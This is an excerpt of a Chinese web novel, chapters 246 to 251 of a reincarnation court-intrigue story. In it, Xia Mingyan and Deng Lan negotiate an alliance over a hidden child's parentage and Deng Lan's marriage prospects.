何夫人那时就说过,若是嫁过来的是夏明月,夏家和楚家都宠着她,能同时借两家之势,做李玦的正室尚可,要不然她是不愿意承认端侯府和夏家当年的婚约的。 所以在夏明嫣还没回来之前,何夫人得知夏家打算把夏明月嫁到端侯府去,就已经准备单方面悔婚了,也就是在那时何夫人给李玦又定了一门亲事。 上辈子和这辈子早些时候,夏明嫣都一直以为新定下的这个正室是何雨萍,但因为何雨萍之前得了病,直病了整整一年,耽误了进门,且那时候也没人能断定她到底还能不能好,李玦正室的位子才落到了邓澜头上。 在她的认知里,何雨萍是来顶她的位置的,而邓澜就是因着跟何夫人的这份姨甥关系被淋湿抓来顶何雨萍的班儿的。 可是栗羡鱼的那番话彻底打破了她从前的想法,何夫人给李玦定下的正室夫人从头到尾都只有一人,那就是邓澜! 这也是何夫人想要利用邓澜牵制住邓父所想出的办法,呵呵,什么夏家闺秀,什么名门千金,在那些隐藏的宝藏面前,没有一个比得上邓澜这个人质金贵! 第246章两相亲切 可尽管两世以来何夫人定下的都是邓澜,这一世也还是有了变化,那就是夏明月坐上了端侯府世子夫人的位子。 那么,难道要邓澜像何雨萍或是像上一世的夏明嫣一样进门给李玦做妾么? 这恐怕是不可能的,上辈子夏明嫣能进门做妾,说到底就是她背后没人,只是一个空壳子的尚书府原配嫡女,爹不疼,娘没了,外祖父家势微,没有那么大的价值。 可是邓澜父女是实打实地有价值的,说句实话,就是邓澜上杆子地愿意上门做这个妾,何夫人和李玦也不敢收。 毕竟他们父女俩握着这么一个大杀器,不给一个好的位子,这联盟就别想维系下去了,万一他们心里不平得厉害了,给端侯府使坏怎么办? 夏明嫣见邓澜眼中露出惊讶之色,便笑了笑道:“如果我猜错,要是夏家不换这亲,把我嫁过去了,我也是做不得那正室的。” “而澜姐姐你,才是何夫人为李世子定下的正室夫人,外面的人倒是误会了何小娘了。” 邓澜一开始是真没想到夏明嫣是怎么猜到这些的,后来再一想才明白过来:“难不成是羡鱼和玉凤姐姐对你说的?她们说的没错,只是对过程不大了解罢了。” 她顿了顿,也不绕弯子,开门见山地就道,“既然明嫣妹妹已经知道这些了,定是好奇为何邓家败落得连何家都不如了,我姨母怎会愿意让我给表兄做正室。” “这里面有些缘故,我暂时不方便解释,这都是家里长辈们积累下来的恩怨了。明嫣妹妹要是肯信我,便只当是我们家里本就有一段指腹为婚、不得改变的姻缘吧。” 原因不方便说,可论起结果其实与她说的也没差多少。 这就好比李玦本就有一门亲上加亲、自小约定俗成只是没在纸面上落下婚书的姻缘,小半截路上跑出来一个有财有势、背后还有个高门岳家的夏家要招他做女婿,这前头没能落下婚书的表妹就尴尬了。 然而临到成婚的时候,他发现嫁过来的不是那高门岳家受宠、得到支持的女儿,就想着还是那表妹更合适,实力面上不显山露水,眼下也享受不到这实力带来的好处,可是论起长久的好处那还得是表妹和姨夫啊,这便还是选表妹吧…… 邓澜见夏明嫣迟迟没有说话,以为她是不信的,可那些事儿她实在不能说。 要是夏明嫣不肯信她,她也没有更好的投效对象,还是得想别的法子让夏明嫣和华家相信她。 谁知夏明嫣刚才只是又想到了从前的一些事,只是有些晃神,这会儿竟也不拖着她,直接就道: “谁家没有点难言之隐,我现在不多问就是了。澜姐姐上门来自是有事相商,一个人见了另一个人,还没有多深的交往,要说一下子就能信了对方,这是不可能的。” “不过我相信澜姐姐若是诚心来谈合作的话,我和你,还有邓家和华家,经历的事儿多了之后,总会有互相信任的一天。” “等到那一天澜姐姐若是愿意和盘托出了,我一定洗耳恭听,要是你有需要,我定当助你成事。” “你……我是想说,你我之前真的没有见过吗?明嫣妹妹如此不见外,竟与我像多年的姐妹一样。说实话,我见了你,竟然也觉得亲切。” 邓澜也不知道为什么,从昨日听说夏明嫣来过吕家之后,她头一个想到的就是她可以来找夏明嫣,试着跟她合作,说不定能为她和她父亲挣出一条路来。 这会儿见了,明明之前完全没有见过的两个人,头一次见面竟然就有这般的亲切感,而且她们都很能明白彼此话里的意思,像是根本不存在误解对方的可能, “我上门来,自是有事相求的。本想着要不要直接去钩翊侯府拜会你,可想着初次见面就到了华家面前总是有些不好,就想着先在你面前把话说开了。” “我也知道,说什么以后就能知道了,以后会报答你这样的话,太过虚妄。我不说那些虚的,眼前有一桩事正好能解妹妹、华家和吕家的燃眉之急。” “这件事要是成了,让妹妹你看到了我的诚意了,我们再谈后面的不迟。” 宝藏的事是不能露的,如果没有前世的经历,就算邓澜自己肯说,她跟华靖离也未必会信。 毕竟拿不出来的东西,还是藏在海底的,海洋广袤,邓父说出个位置来他们也很难找到,这种事是说了也不会尽信的。 邓澜拿来做交易本来就不可能是这件事,那么是什么呢? 夏明嫣猜不透,不过她更像知道的是邓澜这婚事没成,她自己下一步的打算究竟如何。 可千万别觉得不过是另一场换嫁,或是一个小女子的将来,女子在婚事上的选择可以直接影响到她的立场。 夏明嫣是看着邓澜就觉得亲切,她也能感觉到这一世的邓澜跟上一世的一样,即便有自己的筹谋,也是一个有底线还行事大气的人。 可是万一邓澜的将来变了,选择也变了,而这种变化会影响到华靖离和她要保护的人的话,她还是会选择守护她身边的人,看邓澜再亲,也就只能论论私交了。 夏明嫣先不急着问她正要说的这件事,而是话锋一转问道:“有件事做妹妹的还没看明白,既然澜姐姐跟李世子的婚事未成,将来可有打算?” “你放心,我这么问不是想为我那二妹妹做什么,我只是好奇,毕竟你能找上我,而没有求到何夫人那边去总归是有些缘故的吧?” “你也知道,我夫君华侯与你的表哥是结过义的兄弟,你要是因为这层关系才找上我,想让我帮你做的事又与端侯府有关,这里面就是有些讲究的,有些问题我也不得不提前考虑。” 比起端侯府跟夏、楚、陆三家这种祖上三代打下的交情,端侯府跟钩翊侯府的交情并没有那么深。 因为从前的钩翊侯府主支只剩了两个孙辈,他们长辈跟端侯府的交情,早就随着这些长辈马革裹尸而烟消云散了。 第247章何去何从 端侯府跟现在的钩翊侯府的交情就是从华靖离和李玦少年时开始的。 尽管李玦对华靖离面诚心不诚,内心里只有利用,尽管华靖离和李玦也早已生了戒心,并不像表面上那般和睦。 可就像华靖离说的,就算李玦现在就察觉了他的想法,他们两个也不是能轻易就能撕破脸的。 因为在能拿到对方要害自己或要对社稷不利的大把柄之前,他们要是割袍断义了,就会影响他们彼此的忠义形象,不利于他们日后在军中行事。 所以至少目前在众人眼中,李玦和华靖离都还是亲如兄弟的,彼此的家族之间也该按照对待亲戚的成例和规矩行事。 那么如果邓澜接下来要说的事儿跟端侯府有关,夏明嫣身为现任的钩翊侯夫人,她或是华靖离插手了那便等同于插手了亲戚家的事了。 这里面的利害关系必须先弄清楚,尤其邓澜曾经是李玦的准妻子、何夫人的前任准儿媳妇。 再有为难的事儿,按理说邓澜最该求的便是何夫人,她们之间可不止是姨母和外甥女的关系,还有着悄无声息被“退婚”这一层的愧疚。 按理说,邓澜这时候有什么事儿求到何夫人那儿,何夫人是无论如何都该帮她的。 她没有去求何夫人,而是转而找上了夏明嫣和华靖离,要么是这件事很难办,何夫人和端侯府都办不了。要么就是这件事跟何夫人、李玦都有利害关系,她去了他们也不会给她办。 这种时候要是不知根底就去插手,到头来华靖离和李玦的这层义兄弟关系抵不过他们这边血脉亲情的关系,很可能解决了问题也落不得好,还会弄了一身骚。 夏明嫣担心邓澜不理解,不得不解释道:“知道澜姐姐将来的打算,并不是要干涉什么,只是想知道你在这段复杂的亲戚关系里,究竟是如何打算的。” 邓澜轻轻颔首,表示理解:“道理我是懂的,也没有多心。我要说的这件事的确与端侯府和表兄有关,我若是还存着嫁给表兄的心,我这立场便偏了,也就不适合由我来说这件事了。” “别的我也没法跟明嫣妹妹保证,因为我也不知道将来能走到哪一步。我只能说一件事,我是不可能给表兄做妾室的,我要做了他的妾室,他自己和姨母心里都不能踏实了。” “现在姨母给了我另一条路走,说是把我嫁到南边儿去,是一户跟端侯府沾亲带故的人家,祖上是百工世家的,到了那家以后就是当家主母。” “可是,实不相瞒,我并不打算嫁过去,因为我不想跟父亲分开。我父亲的名声不知道你或许不知道,说实话,不是个好的。” “我这样说或许你不理解,可是我父亲变成今天这副样子,也并非就是他愿意的,他对我是极好的。我身子弱,从小就要药石养着,若不是她,我活不到今天……” 许是邓澜以为夏明嫣不知道这背后的事儿,她无意间透露了这个“百工世家”,这就跟华靖离昨日说的能改良机关的那伙儿人印证上了。 何夫人是打算把邓澜嫁过去,直接跟那边看住宝藏的人放在一起,然后继续把邓父控制在元京。 而邓澜和邓父显然看出了何夫人的这步明棋,也知道他们父女一旦分开了,就成了别人刀下的肉,比现在受到的辖制更大。 他们留在元京,还有圣上暗中派下来盯着的人制衡端侯府,一旦他们中有人离开了元京,就是死了都没人知道,那才是真正危险了。 夏明嫣假装不知道背后的这些事,只相信了他们的父女之情:“那姐姐的打算是……我听听你这么说,像是家里几桩大事都是何夫人做的主,这冒然拒绝了她,将来怎么办?” “还是由着她安排?还是自己找出路?因着我那二妹妹的关系,我见过何夫人,她虽是长辈,我也不该议论长辈的过错,可咱们姐妹间关起门来说话,便不用遮遮掩掩的。” “何夫人寡母持家多年,实在不容易,可是她喜欢安排自己的儿子便罢了,对亲戚家的姑娘如此逾矩,的确是不该的。我不知道你们背后究竟有怎样的约定和交情,我只是觉得……” 她笑了一下,不加掩饰地道,“澜姐姐跟我一样,都是小时候就没了娘的。可你又跟我不一样,我还有个能做一小半主的祖母,还有个能做一半主的继母,要是我父亲想做我的主的话,说实话,他未必就办得到。” “而姐姐你,没了母亲,父亲至少是个面上管不了事儿的,这些大事儿恐怕都得由着何夫人这个嫡亲的姨母做主,我说的可对?” “你若是回绝了这门亲事,你又到了出嫁的年纪,何夫人少不得又得给你安排一门亲事,你若是再拒绝了,一而再,再尔三的恐怕是不行的。” “而且有件事我也不瞒你,李世子想要重建李家军,至少眼下是一定成不了的。可是袭爵这事儿却未必,楚家、夏家一同出力,这事儿又过去很久了,老端侯做下的事儿与李世子也并无关系,如果我所料不错,他袭爵……恐怕就在近前了。” 夏明嫣从前也是个身不由己的,可是夏家并非没有空子可钻,因为夏家能做主的人有点多,夏庸、楚氏、朱老太太甚至还有一个夏老太爷遗命,这四方人马都能做主。 人一多,利益总有相左的时候,只要他们的意见不完全相同,没有达到一致决定的地步,这中间就有能够周旋求存的空隙。 即便上辈子夏明嫣被教得眼里只有楚氏,还处处被夏庸利用着为夏家谋利益,最终她还是当上了端王妃,而在那之前夏家早就不行了,这里面少不得她挖坑、使绊子留下的伏笔。 这辈子她先一步同意换婚,先就釜底抽薪阻止了楚氏用她身世的谣言泼她一身脏水,保住了沈小娘的命,还利用自己宁守望门寡也要嫁过去的决心给夏庸和夏家争了脸面,获得了夏庸的认可。 因着夏明月成婚后把日子过得乱七八糟的,该是她拿捏李玦的地方一点没拿捏住,夏庸对比了一下,还是觉得夏明嫣更省心,直到今天,都还没在夏明嫣这儿提出什么要求呢。 第248章他们是两种人 只要这几个人的利益之间有冲突,有了矛盾,夏明嫣就有周旋、游走的空间,可是反观邓澜,她是一点腾挪的余地都没有的。 在邓家,邓父都是个做不得主的,这些年把自己弄成了一个醉鬼,怕也有要躲是非的因素在。 而邓澜又没了母亲,邓父有那么大的一个把柄在端侯府那边,何夫人也就自然能做她的主了。 邓澜要是不听何夫人的,可不是不孝这么简单的,何夫人一个不高兴,就可以上道折子送到宫里去,只说回想起当年老端侯说过些什么话,说邓父与那场海难关系巨大,甚至暗通海匪,邓父这条命都得交代进去。 别以为邓父知道那些东西沉在海里哪儿了就能保证自己的安全,那些个东西放置的大体位置绝不止邓父一个人知道,他只是知道精准的位置的那一个。 就算他现在就死了,端侯府早晚能根据大致的位置找到那准确的位置上去,就算找不到……横竖以现在的工艺、技艺来说都拿不出来,找到和找不到也没多大差别。 邓澜是个孝女,她定是不会置生父于不顾的,况且她跟邓父是绑在一条绳上的蚂蚱,邓父无论是落罪而亡还是被人暗中解决了,她都得被牵连进去。 因此,在婚事上,邓澜几乎没有选择,她不得不听何夫人的安排,而何夫人为了保住这个秘密,为了加固两家的联盟,也定是不会放弃安排她的。 邓澜叹了口气,无奈地道:“不是我不愿意直接回答妹妹说的,而是我着实不知这路该如何走。我家里与姨母牵连甚深,想要挣脱这层关系,不是一朝一夕之间就能办到的。” “说句像做梦一样的话,要是能像你之前那样,得一道圣旨,把我赐给一户不相干的人家,才叫好呢。可我哪儿有这样的运道,既然做不得主,自然是不好与你说的。” “我也不瞒你,我之所以求上门来,要用这件事来换,也是想看看妹妹这儿有没有别的法子能帮我离开这乱局。” 要是真能圣旨赐婚这种事落到邓澜头上,何夫人想反对也不行,这的确是挣脱了的。 不过可惜,圣上既然知道邓父这个人,还暗中派了人手监视,这么多年了,都没想着明着去逼问邓父说出什么,也没想着把他唯一的女儿握在手里做筹码,那么以后也是不会的。 邓澜只能靠自己,其实找上夏明嫣也不是多明智的做法,毕竟邓澜也不可能知道夏明嫣重生了,而夏明嫣也只是华家的新妇,更何况…… 夏明嫣就更好奇了,邓澜在清楚自己的处境的情况下,是怎么想到求上她的,难道就只是因为赏花宴上她表现得很仗义、帮里不帮亲么? 她微微一笑道:“澜姐姐,我很好奇,你是怎么想到来找华家和我的?你世居元京,应该也是有三两好友的,未必就没有其他身份、地位与我相近或是高于我的人助你。” “更何况,以我夫君的身份,不光是不好插手亲戚家的事这么简单的,他与你表兄义结金兰,自然也是尊重你姨母何夫人的,你怎么就笃定他会插手了?” 邓澜神情复杂,有好一会儿没说话,她的身子本就不好,纠结了一会儿,脸上都憋出了几丝血色了。她像是下了很大的决心,深吸了口气才道: “很多事并不像表面看起来那样简单的,其实我留意华侯和我表兄的关系很久了,我并不觉得他们之间像是世人说的那般和睦。” “明嫣妹妹,你先别误会,我留意华侯,并不是对她有别的心思,而是因为……好奇,华侯在元京百姓心中就像遥不可及的战神一样,大家对他都有尊重和好奇。” “不过,我最初对他好奇,也并不全是因为他的战功和威名,反而是因为他跟表哥相交的经过,我那时候就在想,堂堂华侯,铁骨铮铮的汉子,怎么就会跟我表兄这样的人相交莫逆了呢?” “我觉得这不对,华侯的朋友、兄弟不该是这样的,可偏偏他们就是结拜了。后来,我家里跟表哥那边走得近了,我还打听过这件事,说出来不怕你笑话,我问了表哥身边的几个小厮,把他们的话放在一起相互佐证。” “那些话终于印证了我的猜测,华侯之所以会和我表兄这样的人结拜,初时大概是出于怜惜弱小,行伍之人珍视文人,后来那便是情面上过不去了。要再说别的,那便是他们对结义的理解不一样……” 邓澜娓娓道来,从她的角度来看,着实发现了许多新东西。 比方说,她打听到李玦其实也是知道华靖离跟他结拜时的那份勉强的,这当中有不少骑虎难下的因素在。 华靖离随着华叶峰这一房初来元京的时候,在书院、武院中的确受过排挤和欺压,那时候他的确跟李玦同病相怜过。 可是当华靖离迅速地跟那些曾经欺负过他的人打成一片的时候,李玦认识到了这当中的危机,因为华靖离一旦融入了元京高门,那么继续被欺负的就只剩下他一个了,因此他下定决心一定要抱紧华靖离绝不撒手。 于是,这里面就有了华靖离生病、受伤时,李玦雨中上山采药。华靖离出征凯旋,李玦写文章颂扬的种种戏码。 就像邓澜说的,当所有人都觉得他们就是相交莫逆,结义一点都不奇怪的时候,如果华靖离没有大的理由,突然就跳出来说他反悔了的话,那么世人眼中的小人就一定会变成华靖离了! 而且李玦至少到目前为止没有大的错处,他的表现是浮夸了些,可要说性情释然,倒还真挑不出他的错儿来。华靖离在这种情况下将就着过下去,才是最明智的做法。 同时邓澜也表现出了对这种关系的担忧:“……他们根本就不是一种人,我不觉得他们之间真有那般情义。世人觉得他们好,很大程度上,还是因为民间传颂的那些轶事,还有说书的……” 第249章孩子的线索 夏明嫣听着这些话不禁汗颜,邓澜从前并没有跟华靖离直接接触过,只是出于对当朝将领的仰慕和好奇,还有对里觉得怀疑,就能想出这么多。 亏得上辈子她在南疆跟华靖离相处了那么久,还跟李玦做了半辈子的夫妻,都没觉得他们之间有什么大问题。 邓澜还是那个邓澜,要是没有邓澜,她上辈子恐怕不会走到端王妃的位子上去,可惜上辈子的邓澜命不长,邓澜的积累和气运都好像到了她身上。 夏明嫣顺着她的话问道:“说书的?”她也开始好奇了。 邓澜点头,脸上尴尬得不行,就差找个地缝儿钻进去了:“就是说书的,看来你们都还不知道,这件事你还是找个机会告诉华侯吧。我表兄他……为了不让他们的兄弟之义散了,找了人,写了话本子,让那些说书的去说。” “就是说华侯多么英武不凡,然后从小结交的三两好友又是怎样的人。对了,你不是在元京长大的,大概没有听过,那些话本子前头是赞扬华侯战功的,后头都会绕到表兄身上,说他如何玉树临风、文采斐然,他那冠玉公子的名头就是通过这些话本子传扬出去的。” “话本子……他写这些?”夏明嫣听明白了,脸上青一阵白一阵的。 她忽然明白了什么,前世在端侯府的时候,李玦隔三差五地劝她没事儿的时候到外面走走,可以去书场听书。 她那时忙得要死,本身也没这喜好,哪里就能去听书了?每次她把没去的原因说出来,李玦面上没说什么,但她总能感觉到他是失望的。 闹了半天不是因为她没有听他的话而失望,是因为没能让她听到他打造出来的冠玉公子的故事而失望。 邓澜再次点头:“我保证绝没有半句虚言,这事儿我之所以知道,是因为早先那写本子的和说书的人,还是我父亲安排的。” “那时他才十三,我十岁,他以为我还小,来找我父亲的时候就没避着我。最早的话本子有些他还写了一部分呢,就是他写个头,再通过我父亲找人去续写……他写的那些放在家里没拿走的时候,我偷着看过。” 从邓澜的表情就能窥见其中一二,这简直了,华靖离十三的时候已经随着族中一位堂叔去了北疆征战,而李玦留在元京不好好念书以备日后考取功名,反倒是张罗着给自己写话本子,打造形象。 关键是他打造的这个形象不是什么才高八斗、学富五车的,而是说自己多么的英俊不羁,巴不得把自己说得像在世潘安一样,难不成他还想凭着一张脸当驸马不成? 夏明嫣想到这儿都没忍住,嘴一张就把心里话说了出来:“他那张脸还不如华靖和呢,华家还是保守了,等华靖和出来,我一定让他做个名士,比李世子出名的多的名士!” 呵,李玦那文采也就敢蹦豆子似的出一些诗句,那些句子不过是一首正常诗词里的零星部分,连整首的诗都做不出几首,就这还敢说自己是才子呢。 反倒是华靖和的画才是真的,她可不能把这么一个可塑之才给浪费了,一定要让他把李玦那个冠玉公子的名号压下去! 邓澜也没忍住,笑了一下,给自己的话下了结论:“总之,我不觉得他们是真正的兄弟,而在这样的关系里,华侯是被动的那一个,他从来没有刻意宣扬过他跟我表兄的关系,一直以来都表兄在让世人以为他们的关系有多好,华侯大概只是觉得无伤大雅,才没有公然反驳。” “在沙场上,华侯能洞察先机、运筹帷幄,在看人上,我不觉得他像人们以为的那样半点没有察觉。那他心里会怎样看待我表兄呢?” “一个人刻意地扒着另一个人不放手,甚至还让人到处编排他们的关系,那么被扒着的这个人定是要防着他的。提防和反击往往只有一线之隔,我来找你,也是想试一试,看看能不能碰上你们跨过这一线之地的好时候。” 为什么要提防一个人?不仅是因为不想让对方害了自己,更是再等待一个自卫或是反击的时机。 前世华靖离没有等到这个时机,或者说错过过好的时机,拖到了最后,反倒是李玦占了上峰。 邓澜这人胆大心细,跟夏明嫣前世认识的那个世子夫人邓澜还是有区别的,准确的说出嫁前的邓澜更有棱角、更果断,到底是嫁人之后,被端侯府磨平了棱角的。 “所以你希望我夫君能代为说项,干预你的婚事,保住你父亲的性命,然后你也能给我们……我们想要的?”夏明嫣问道。 这倒是跟她想的不谋而合了,这个交易可以做,她现在是真想听听邓澜带来的“投名状”是什么了。 邓澜咬了蠢,为难而汗颜地道:“那我便说了,说到底姨母和表兄都是我的亲人,做出这样的事,我着实不好启齿。可就算没有这场交易,我也是想说的。” “那个孩子……就是吕二姑娘的外甥,我知道他在哪儿,是被我姨母藏了去的。虽然我没有直接的办法证实,但我能看得出来,他的身世一定与华二公子无关。” “因为他很可能是我表兄的儿子,只是表兄自己都不知道。我知道,表嫂是你的妹子,不管你们姐妹间的关系如何,你要为她抱不平,也是人之常情。” “我姨母她这辈子就生了表兄一个,从前姨夫也是有妾室的,却并无其他孩儿,姨母就担心表兄将来也是个子嗣单薄的,在发现那孩子的身世之后,就设法把那孩子带了回来。” 还真是李玦的孩子! 夏明嫣想到那会儿她被扶正了,何夫人也已过世,李玦扶灵回了老家,她去清查府中产业,便去了郊外的那所别院。 在里面她看到了那个十一二岁的孩子,当时那里的管事儿闪烁其词,但也暗示了她那是李玦外室生下的儿子,这竟然是同一个孩子! 第250章一劳永逸的办法 这会儿事情就串起来了,夏明嫣问道:“那孩子也不是最近才出生的,何夫人为何不早些来找,偏偏是在这个时候?” 邓澜轻摇了摇头:“这件事上我算是个见证,但有些也是我的猜测,我觉着姨母当年知道表哥和吕大姑娘有过一段露水情缘的时候,就想过要把吕大姑娘远远地赶了出去才好,这样才不至于带累了表兄的名声。” “可是事情就是那般凑巧,在姨母还没查清吕大姑娘姓甚名谁的时候,吕家就把吕大姑娘认了回去。虽说死者为大,可我也不得不说几句。” “以吕大姑娘从前的经历来看,她好不容易才能与父母、妹妹相认,脱离苦海,她重入良籍之后,定是深居简出生怕自己的名声连累家里的,原先那地方吕家也定是给足了银子,让他们隐瞒吕大姑娘的行踪的。” “姨母见那女子消失不见,也就没了追查的必要,也就把这件事放下了。可是事情就是那么巧,华二公子那天也去了铺子里,那天姨母刚好想要出来走走,路过吕家的铺子就想进去看看衣料,那天是我陪着姨母去的,跟华二公子打了个照面。” “所以说……我家二弟没认出吕大姑娘来,反倒是何夫人认出来了,还发现吕大姑娘有一个儿子,刚好就是她跟李世子在一起的前后怀上的?” 夏明嫣都不仅要感慨这世上还真有无巧不成书的事儿,至于滴血认亲都没用,何夫人是怎么认准那孩子是李玦的。 别人或许不知道,但这事儿夏明嫣还真知道,或许活着的人里也就她和何夫人知道这鉴别的方法。 李家这一支最早也是卢阳起家的,他们这一支的子孙无论男女都有一个特征,就是右脚小指没有指甲盖。 也不是完全没有,就是不像平常人那样有光滑、平整的指甲,只是在原本指甲的地方有一块儿像是指甲融化之后又凝结的东西,不平整,像一块儿硬了的茧。 夏明嫣在医书里看过这种情况,这就是从祖上血脉里带的,跟一般人不一样,在别的家族里也不会轻易碰见一样的。 上一世,夏明嫣在那所别院里看到这个孩子,听说是李玦外室所生之子,便看过那孩子的右脚,一看之下,她便信了。 在何夫人眼里当然更是如此了,毕竟有这样的特征,孩子的生母又是在那个时间的确跟李玦相处过的,特征、时间都对上了,也就几乎可以肯定就是那么回事儿了。 夏明嫣屏住气问道,“何夫人发现了那个孩子之后,没有跟吕家人协商带走孩子,是她自己私自派人把孩子带走的。那么,吕大姑娘的死是不是跟她有关?” 邓澜面有难色:“这我是真不知道,但也只能说我没看到也没听到,可要按照姨母的心性来说,我觉得是她。” “现在事情到了这一步了,我只想着这件事儿该如何收场。要说指证姨母,我是看不到有什么证据的。现在最关键的是这孩子该怎么办,要是由着姨母把他藏起来,我良心难安。” “我也不瞒你,那日姨母之所以能认出吕大姑娘,跟我有些关系,我曾经在姨母的书房看到过吕大姑娘的画像,那日在铺子里见了我便提了一句,没想到……” 邓澜有再多的筹谋,她骨子里也是一个良善的人,这件事因她而起,又出了人命了,她不得不管。 上一世的时候邓澜已经嫁进了端侯府,她正在劳心费力地适应着内宅的生活,学着怎样顺从一个心不在自己身上的夫君,学着如何周旋于何姨母和李姑母之间,连着一年多都没出过府,自然也不可能跟吕大姑娘有什么瓜葛了。 这一世还是她们姐妹换嫁引起了一连串的反应,才让邓澜有了这段经历。 这样想来,夏明嫣是不得不管的:“罢了,你既然把这件事告诉了我,又是想要跟我和华家合作的,这事儿我便揽下来了。只是你需知道,这件事牵扯了人命,于情于理,吕家都不会善罢甘休。” “就是华家,因为二公子牵扯在内,也不可能置之不理、袖手旁观,你姨母要是被抓到了把柄,她会因为你今日说的这些话受到惩罚,你可做好准备了?” “我……我管不到律法头上,她要是做了,又被人抓到了把柄,我也没法子。况且她不是什么好人,我父亲也一样,我们这样的人不过是多活一日算一日罢了。” 邓澜眼底那簇名为坚定的小火焰再次跃动起来,“让那孩子有个好归宿,能在他真正的家人身边长大,就算是我在赎罪吧。这对于明嫣妹妹和华侯来说,也是端侯府的一个把柄。” “华侯从前找不到机会与表兄割席断义,这正是一个机会,只要你们能利用好。而我,只希望换一个能自己掌握命运的机会。” 一旦何夫人因为这件事受到责难,哪怕证据不够,不能让她受到律法的制裁。 可这么大一件事降下来,何夫人是不可能毫发无损的,她至少得老实一段时间,这样的话或许就无暇再管她的亲事了。 不过,这也不一定……夏明嫣笑了一下:“要是这件事没让元京府问她一个流放或是杀头的罪责,百足之虫死而不僵,她不想死,就要挣扎,那时是任何的助力都不会放过的。” “我不问你们父女究竟为何受制于她,但你们对她总是有用的,对吧?她到时候传个话出去,也不妨碍逼你嫁给她安排好的人。” “这件事还是要一劳永逸的好,我这儿倒有一个法子,就是不知道你肯或不肯。” 邓澜眼中泛起希冀:“要真有这样的法子,无论是什么,我都愿意,只是我希望能保住我父亲,只要能办到这一点,让我做什么我都愿意。” “我自娘胎里就带了心疾,要不是从小父亲为我四处求药,我早就不在这世上了。他做那些事儿,也有大半是因为我。即便要了我的命去,我也愿意,只当是我还他的。” 第251章出入自由的妾室 谈及过去,邓澜不免唏嘘:“明嫣妹妹大概体会不到我的感受,被这件事困了这么些年了,从懂事儿起便惶惶不可终日,这种日子我真的过够了。” “你或许不能理解那种想活却活不好,想死又不能死的感受,要是你有法子,让我能有个了局,无论如何,我都愿意。” 夏明嫣听明白了这话里的意思,就像上一世端侯府里的环境也很恶劣,可邓澜却甘之如饴,后来她还告诉过自己,说那段日子已经是她并不漫长的一生中相对平静的好日子了。 夏明嫣便不再兜圈子,说出了她的打算:“既要联手,何不以身入局?你的婚事一日不定,一日便是要握在何夫人手里的,不如找个靠的住还能给你做靠山的人嫁了。” “我也不瞒你,当下的时局,你只有嫁入华家,才能护住你和你父亲。可这一辈,华家只有我家侯爷和二弟两个男丁。” “你身上背着这么大的事儿,就算我加厚也尚未成亲,也不可能娶你做正室。二弟么,他怕是也不敢的,就算他自己一腔孤勇,愿意为你赴汤蹈火,老侯爷和卜小娘也不会愿意。” “这两个男人里,我唯一能做得了主的就是能让你成为我家侯爷的妾室。不过你放心,纳你为妾只是权宜之计,只要你不愿意,你跟我家侯爷就只是有名无实的关系。” “将来等到事态平稳了,你是愿意拿着一纸出妾文书自行离开、另寻出路,还是想要留在府里,都悉听尊便。” “可无论如何,你留在钩翊侯府一日,你父亲便受华家庇护一日。你们身上的那个秘密,如果将来你们足够信任话家的话,也不妨告诉我们,一起解决。” 邓澜愣住了,一双眼睛睁得大大的,她完全没有想过,还能走这么一条路。 准确的说她不是没想过通过嫁人解决这个问题,可就像夏明嫣说的,她嫁出去并不难,难就难在对方知道了他们父女的隐衷之后,有没有能力帮他们,又肯不肯帮他们。 元京总共就这么多有权有势、有能力的人家,里面大半都跟楚家有关联,这些人家即便有能力帮他们,只要他们不想被楚家牵连,也不会帮他们。 而且这人家财势上少了也不行,因为那些东西堪称宝藏,谁知道了都得动心。她又怎么保证嫁过去之后,对方不会想要私吞了那些宝藏,而去灭了他们父女的口呢? 或许的确可以告诉那些人,因为宝藏在海底,现在根本没人能拿上来,可是被财富冲昏头脑的人不会相信这些,他们只会相信他们自己假以时日一定能取出宝藏,而他们这些知情的人,能少一个是一个,在他们自以为拿到宝藏确切位置的时候,就会迫不及待地将他们父女灭口。 要选出一个能娶她还能救下他们父女的人家实在太难了,从前不是她不愿意做妾,别的良家女做妾大多是日子过不下去了,被现实逼迫所致,她呢? 他们父女的日子早就过不下去,确切的说已经不是过不下去了,而是刀一直都架在脖子上呢,她哪儿还管是做妻还是做妾? 她只是觉得去给人家当正室,人家尚且能不顾你的死活,要是做了妾了,那还用说么? 可要是能进华家,做华靖离的妾,那就不一样了。 华靖离和李玦、钩翊侯府和端侯府迟早都要对立起来,而且华家论战功、论家底、论名誉,他们都更为冷静、理智,不会为了一笔他们自己明显消化不了的财宝铤而走险。 华靖离虽然娶了夏明嫣,华家算是与夏家联了姻,可是据她观察下来,夏明嫣与夏家的关系并不亲密,加之华家这一支是后迁入元京的,与楚家更是没什么关系,他们不是那件事的局中人,将来不会因为端侯府和楚家倒了而受到牵连。有了这层关系和保障,他们才敢动手向这两家开刀。 而华家的这几个男人里,能保护他们父女的,的确只有华靖离,像华靖和这样的,即便她嫁过去能做正妻,她也是绝不会考虑的。 邓澜的成长经历里有了一个表兄李玦这样的冠玉公子已经够了,她不想再跟哪个脸好看远远大于实力好看的人走得太近。 而且虽然是做妾,有了夏明嫣的承诺,她不觉得自己真会跟华靖离有什么,不是说华靖离不招女人喜欢,是因为她实在无法在性命尚且朝不保夕的时候去想这些事儿。 要是事情能了,她便出妾离府,重新奔一个前程去,要是不能,她就留在钩翊侯府做夏明嫣的左右手,也不是不能过…… 邓澜沉思了一会儿,忽然笑了一下:“明嫣妹妹,你就不怕我真给你家华侯做了妾室,抢你的男人?” 夏明嫣却看着她笑了:“不怕你抢,只是你要是抢了,对你自己来说也是个苦差事。” 见她不解,夏明嫣便解释道,“武将世家多有早留子嗣的习俗,为了避免男丁战死沙场时没留下一儿半女的绝了后,所以男子一过十五,屋里就得安排两个通房,娶妻之后更是要早早纳妾的。” “我家侯爷十三岁时便随他祖父去了北疆,他自己性子又犟,这头一桩事儿便耽误了,至今没能实现。我进门的时候,他又重伤在身,随时都可能性命不保,当时便也没提这纳妾之事。” “可这没提,不意味着就没有这件事了,事实上我婆母经常催促此事,尤其是在他伤愈之后,你说我还能挡多久呢?你若真动了那做妾的心,想做我家侯爷真正的妾室,你可不是在跟我抢男人,你是在跟那一众妾室抢男人。” 说到这儿,她不禁想起了华靖离搬着指头数过,上一世他可是又六个几乎没怎么见过面的妾室的人,她索性就给邓澜假设了一下, “我婆母可是说了,得给我家侯爷纳六房妾室呢。我好不容易才从她手里要来两个位子,要的就是安置两个自己人好把位子占住了。” 